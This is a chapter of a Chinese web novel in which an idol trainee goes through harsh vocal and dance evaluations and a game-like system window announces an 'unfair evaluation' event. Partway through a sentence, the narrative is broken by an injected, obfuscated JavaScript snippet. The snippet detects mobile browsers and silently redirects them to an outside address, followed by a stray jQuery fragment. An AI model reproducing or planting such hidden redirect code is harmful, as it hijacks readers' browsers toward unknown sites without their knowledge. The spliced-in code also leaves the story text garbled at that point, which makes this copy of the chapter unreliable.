他们两人嗓音条件真的很好。相较来说白雨的唱法会更成熟,只是唱出口的情绪比起元气,更像是倾诉的深情,不够放开,还是有点露怯。
而杜雪裳……这家伙以前真的没专门开发过吗?昨天低音的表现已经很入耳了,今天全曲的调都很高,他也毫不费力,气息分配得自然流畅,说什么也是一点就通。
……怎么样,要压一压吗?
想起昨天回去后陈总那边交代的安排和计划,王老师犹豫一瞬,最终还是开口:“很好,就是要这么唱。”
她环视全场,朝杜雪裳和白雨的方向抬了抬下巴:“之后自己练习找不到感觉的,可以多去听听人家怎么唱,尽量往那边去靠。”
杜雪裳借低头看歌词的间隙迅速扫视四周——
果然,大家的表情都复杂又直白,有不爽的别扭,有不服输的较劲,甚至还有……羡慕?
这哪里是树立标准,这分明是立了块靶子。
经过这多半天,舞蹈课上了、声乐课也上了,面对这种推进速度和人员规模,杜雪裳对自己能从老师那里获得多少有效指导已经彻底不抱任何希望了。
所谓选拔,终究只是为了筛选,不负责培养,更不保证改变。
——————
声乐课结束后,便进入了自主练习时间。
距离晚上的唱跳考核只剩数小时,不少练习生自觉进度堪忧,连饭都顾不上吃,分散到各个练习室里争分夺秒一门心思猛练。
薛锐卓很不认可:“这可不行!人是铁饭是钢,这顿要不吃下顿得等到什么时候了,这使不得。”
考虑到后续漫长的待机与消耗,杜雪裳点头认同:“确实,本身就是强调自信、活力、可爱、元气的歌,表现力远比绝对实力重要得多,要是饭也不吃,哪有力气辐射出能带动别人的感染力呢?”
——此乃谬言。
他其实完全能理解人家的废寝忘食,他们俩在这自说其话完全是因为这首《Halo Sweetie》对他们来说没那么有压力,薛锐卓上完声乐安心不少,自觉表现还行,比上略不足比下远有余。
要换成他们舒适区外的曲风,手忙脚乱自身难保之下他肯定也会选择突击强化换取安心感的。
不过有吃饭的余裕远不意味着到了悠闲的地步,两人一路小跑去吃了份现成的套餐,又快走回来完善表演。
途径窗边,杜雪裳无意间向外一眺,又望见公司门外静静架设的摄像机,以及那些稀疏的、执着守候着不愿离去的身影。
来来去去,StE总这么无声而恒常地受着瞩目。
他深深地吸了一口气,加快脚步赶回练习室。
之前来报到时还感慨员工们来去匆匆各司其职地精密运转着,这才一两天,现在的他也融进了这片川流不息的齿轮之海,成了这座庞大机器中,一枚新添的、温热的部件。
——————
晚上八点整,同样的练习室,同样的摄像机和录制红点,四缺一的评审,比昨天更忐忑的一众练习生。
新人开发组的卢老师坐在正中间,金老师王老师分坐在两侧,顺序再一次被完全打乱重新叫名。
今天的考察标准和批评力度和昨天完全不是一个等级,老师们失去兴趣就会立即叫停,前面表现不好的话甚至连坚持到副歌的机会都不会有。
“看起来很有架势,但完全散掉了,没有核心,你的力量像沙子一样撒了一地。”
“又飘了。音准栓风筝上了,这风都没来就不知道去哪了。平时练歌是会专门带耳塞吗?”
“这里就光跳,你完全不唱吗?为什么摆出这么理直气壮的表情看着我呢?——什么,原曲的表管。连唱跳都不能一起完成怎么这个时候跟我说起原曲风格,你都不惭愧的吗?”
老师们语调倒是都很温文,声音也不高,内容却压得人喘不过气,底下坐着的人人自危。
这一次杜雪裳早早就被叫到前面,音乐响起前,他当即进入状态——
“Halo!你比任何人都明亮耀眼~”
清亮活泼的唱句如同带着水汽的晨风迎面扑来,一个俯身下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282907|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腰定格衔接画圆的甩手,轻轻起跳,打高的手张开比在颊边两下快速的点头,提腿压肩,动作流畅而精准。
“My sweetie sweetie, How is your day?”
花瓣手托脸,指尖由外至内依次点过,直至小指哒一下轻巧地碰过嘴角,牵起一个大大的笑容,尾音顽皮的疑问裹进浓浓笑意。
“like we shiny——way!”干净的甩头接一段定点wave,食指向前轻盈一勾,发出让人不愿拒绝的邀请,杜雪裳控场的舞台正式展开。
即便早已察觉长桌席那边一片平静,老师们脸上看不出丝毫波澜,仿佛他倾注全力表现的这份轻松与烂漫撞上一堵无形的墙——他依旧毫不动摇。
每一个动作依然跃动有力,每一个笑容依旧灿烂不减,甚至歌声里听不出一丝的迟疑发虚,仿佛台下坐着的不是冷淡审视的老师,而是万千带着爱意为他欢呼的观众。
他就这样快活地、坚定地表现到第二段主歌才被叫停。
只是评价依旧——
“很标准的笑容,也很假。你是练习生,想做的是爱豆,不是演员,观众不是来看你表演微笑的,是来看你开心、甚至被你带着一起开心的。”
“眼神是空的,没有内容。你心里在想什么,别人是能感知、能捕捉到的,镜头当然一样可以做到。”
“模仿痕迹太重了,这是Youth的歌,不是你的。你就没有一点属于自己的东西吗?”
他从头至尾完全没有出过错,标准、稳定,甚至情绪的欢跃都给足了,说实话,在许多旁观的练习生看来,只要桌前架设的那台摄像机不是摆设,这段现场一发出去就是模范级别的生唱练习室。
正因如此这样的严苛才更令人心惊,他都受到了这样的评价,台下氛围明显变得更焦虑躁动,有人忍不住低头死死掐住指甲边沿。
【事件!-不公的评价- 】
——突然,眼前老师们那边的方向猛地弹出一个赤红色投影窗口,剧烈闪烁着宣告事态紧急。
【昨日总负责人已显露出对你的不喜,今日你果然遭到了老师们的联合压制。你的表现或许有不足之处,但绝不应该得到这样的贬低。你要如何争取呢?】
【系统将记录你的选择,并在综合评价后予以结算。之后您可于事件回顾中查看对应事件的模拟方向与奖励参考。】
杜雪裳的视线不可避免地一瞬偏离,他迅速掩饰,垂下眼睫,做出难过回避与反思的姿态,乖乖应道:“对不起,老师,我会好好思考、努力改进的。”
开发组的卢老师语气稍缓:“你先下去吧。下一个。”
系统窗口随即恢复为寻常的鎏金边框和素色面板,悄然隐去不见。
他回到原位后,薛锐卓很低地叫他:“哥……”
“没事,”杜雪裳反过来拍拍他, “哪有一直夸人的老师,总要有批评才有进步的。好好看吧。”
薛锐卓侧过头小心确认他的反应,见他当真不往心里去的样子,很快一松:“好有道理,哎,我怎么没意识到……”
他整个人绷得过紧的状态明显放松下来。